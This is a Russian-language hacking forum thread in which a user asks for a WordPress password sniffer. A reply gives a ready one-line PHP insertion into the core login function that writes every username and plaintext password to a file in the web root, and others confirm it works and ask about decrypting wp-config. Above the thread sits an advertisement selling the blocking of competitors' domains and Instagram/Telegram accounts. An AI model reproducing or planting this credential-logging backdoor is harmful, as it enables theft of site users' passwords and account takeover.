УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
сниффер wp-login.php

Опции темы

Поиск в этой теме

Опции просмотра

21.10.2019, 15:49

jakonda1001

Guest

Сообщений: n/a

Провел на форуме:
33324

Репутация: 0

есть у кого сниффер паролей wordpress , в файл что бы сохранял?

22.10.2019, 22:30

ckpunmkug

Guest

Сообщений: n/a

Провел на форуме:
11136

Репутация: 8

В файле wp-includes/user.php находим функцию

Код:

Code:
function wp_authenticate_username_password( $user, $username, $password )

И в самом конце функции (строка примерно 187) перед

Код:

Code:
return $user;

Вставляем строку

Код:

Code:
file_put_contents("{$_SERVER['DOCUMENT_ROOT']}/passwords", "{$username}:{$password}\n", FILE_APPEND);

И снифер готов.

Если нужно ещё с неудачными логинами то строку разместить после

Код:

Code:
$user = apply_filters( 'wp_authenuicate_user', $user, $password );

22.10.2019, 23:06

jakonda1001

Guest

Сообщений: n/a

Провел на форуме:
33324

Репутация: 0

Спасибо большое

27.10.2019, 10:01

Nibiru

Guest

Сообщений: n/a

Провел на форуме:
6202

Репутация: 0

Я вставил сразу после

function wp_authenticate_username_password( $user, $username, $password )

Сохраняет все попытки.

Спасибо большое.

Пор расшифровке wp-config кто-то что-то подскажет?